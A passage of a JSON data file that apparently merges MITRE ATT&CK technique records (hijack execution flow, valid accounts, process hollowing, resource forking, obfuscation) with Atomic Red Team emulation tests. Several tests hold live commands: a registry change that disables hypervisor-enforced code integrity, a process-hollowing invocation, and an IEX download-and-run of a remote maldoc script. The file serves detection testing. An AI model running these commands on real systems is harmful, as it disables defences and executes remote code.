- "get_prereq_command": "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" /t REG_DWORD /d 0 /f\n"
- }
- ],
- "executor": {
- "command": "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" /f\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1601": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754",
- "type": "attack-pattern",
- "created": "2020-10-19T19:42:19.740Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1601",
- "url": "https://attack.mitre.org/techniques/T1601"
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- }
- ],
- "modified": "2020-10-22T17:50:47.635Z",
- "name": "Modify System Image",
- "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1574": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
- "created": "2020-03-12T20:38:12.465Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574",
- "url": "https://attack.mitre.org/techniques/T1574"
- },
- {
- "source_name": "Autoruns for Windows",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
- "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
- "modified": "2022-05-05T04:07:01.191Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow",
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Service: Service Metadata",
- "Module: Module Load",
- "File: File Modification",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1027.005": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
- "created": "2020-03-19T21:27:32.820Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1027.005",
- "url": "https://attack.mitre.org/techniques/T1027/005"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",
- "modified": "2022-04-28T16:07:48.062Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Indicator Removal from Tools",
- "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host intrusion prevention systems",
- "Log analysis",
- "Signature-based detection"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Syed Ummar Farooqh, McAfee",
- "Prasad Somasamudram, McAfee",
- "Sekhar Sarukkai, McAfee ",
- "Jon Sternstein, Stern Security",
- "Yossi Weizman, Azure Defender Research Team",
- "Netskope",
- "Mark Wee",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
- "created": "2017-05-31T21:31:00.645Z",
- "x_mitre_version": "2.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078",
- "url": "https://attack.mitre.org/techniques/T1078"
- },
- {
- "source_name": "CISA MFA PrintNightmare",
- "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a",
- "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022."
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)",
- "modified": "2022-05-05T04:55:21.981Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "Anti-virus",
- "Host Intrusion Prevention Systems",
- "Network Intrusion Detection System",
- "Application Control",
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1073": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:58.007Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1073",
- "url": "https://attack.mitre.org/techniques/T1073"
- },
- {
- "external_id": "CAPEC-641",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/641.html"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/aa375365",
- "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.",
- "source_name": "MSDN Manifests"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
- "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
- "source_name": "Stewart 2014"
- }
- ],
- "modified": "2020-03-20T14:28:39.529Z",
- "name": "DLL Side-Loading",
- "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1055.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
- "type": "attack-pattern",
- "created": "2020-01-14T17:21:54.470Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.012",
- "url": "https://attack.mitre.org/techniques/T1055/012"
- },
- {
- "url": "http://www.autosectools.com/process-hollowing.pdf",
- "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
- "source_name": "Leitch Hollowing"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "Nviso Spoof Command Line 2020",
- "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/",
- "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."
- },
- {
- "source_name": "Mandiant Endpoint Evading 2019",
- "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode",
- "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."
- }
- ],
- "modified": "2021-11-29T17:22:32.704Z",
- "name": "Process Injection: Process Hollowing",
- "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess
, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection
or NtUnmapViewOfSection
before being written to, realigned to the injected code, and resumed via VirtualAllocEx
, WriteProcessMemory
, SetThreadContext
, then ResumeThread
respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Access",
- "Process: OS API Execution",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1055.012"
- },
- "atomic_tests": [
- {
- "name": "Process Hollowing using PowerShell",
- "auto_generated_guid": "562427b4-39ef-4e8c-af88-463a78e70b9c",
- "description": "This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.\nCredit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "hollow_binary_path": {
- "description": "Path of the binary to hollow (executable that will run inside the sponsor)",
- "type": "string",
- "default": "C:\\Windows\\System32\\cmd.exe"
- },
- "parent_process_name": {
- "description": "Name of the parent process",
- "type": "string",
- "default": "explorer"
- },
- "sponsor_binary_path": {
- "description": "Path of the sponsor binary (executable that will host the binary)",
- "type": "string",
- "default": "C:\\Windows\\System32\\notepad.exe"
- },
- "spawnto_process_name": {
- "description": "Name of the process to spawn",
- "type": "string",
- "default": "notepad"
- }
- },
- "executor": {
- "command": ". $PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nStart-Hollow -Sponsor \"#{sponsor_binary_path}\" -Hollow \"#{hollow_binary_path}\" -ParentPID $ppid -Verbose\n",
- "cleanup_command": "Stop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "RunPE via VBA",
- "auto_generated_guid": "3ad4a037-1598-4136-837c-4027e4fa319b",
- "description": "This module executes notepad.exe from within the WINWORD.EXE process\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1564.009": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jaron Bradley @jbradley89",
- "Ivan Sinyakov"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb",
- "created": "2021-10-12T20:02:31.866Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.009",
- "url": "https://attack.mitre.org/techniques/T1564/009"
- },
- {
- "source_name": "tau bundlore erika noerenberg 2020",
- "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html",
- "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021."
- },
- {
- "source_name": "Resource and Data Forks",
- "url": "https://flylib.com/books/en/4.395.1.192/1/",
- "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021."
- },
- {
- "source_name": "ELC Extended Attributes",
- "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/",
- "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021."
- },
- {
- "source_name": "sentinellabs resource named fork 2020",
- "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/",
- "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021."
- },
- {
- "source_name": "macOS Hierarchical File System Overview",
- "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553",
- "description": "Tenon. (n.d.). Retrieved October 12, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@
or xattr -l
commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources
folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
- "modified": "2022-05-05T05:10:23.890Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Resource Forking",
- "x_mitre_detection": "Identify files with the com.apple.ResourceFork
extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Metadata",
- "Command: Command Execution",
- "Process: Process Creation",
- "File: File Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Notarization",
- "Gatekeeper"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1027": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Red Canary",
- "Christiaan Beek, @ChristiaanBeek"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
- "created": "2017-05-31T21:30:32.662Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1027",
- "url": "https://attack.mitre.org/techniques/T1027"
- },
- {
- "source_name": "Volexity PowerDuke November 2016",
- "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
- "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017."
- },
- {
- "source_name": "GitHub Revoke-Obfuscation",
- "url": "https://github.com/danielbohannon/Revoke-Obfuscation",
- "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018."
- },
- {
- "source_name": "FireEye Obfuscation June 2017",
- "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
- "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018."
- },
- {
- "source_name": "FireEye Revoke-Obfuscation July 2017",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
- "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018."
- },
- {
- "source_name": "GitHub Office-Crackros Aug 2016",
- "url": "https://github.com/itsreallynick/office-crackros",
- "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018."
- },
- {
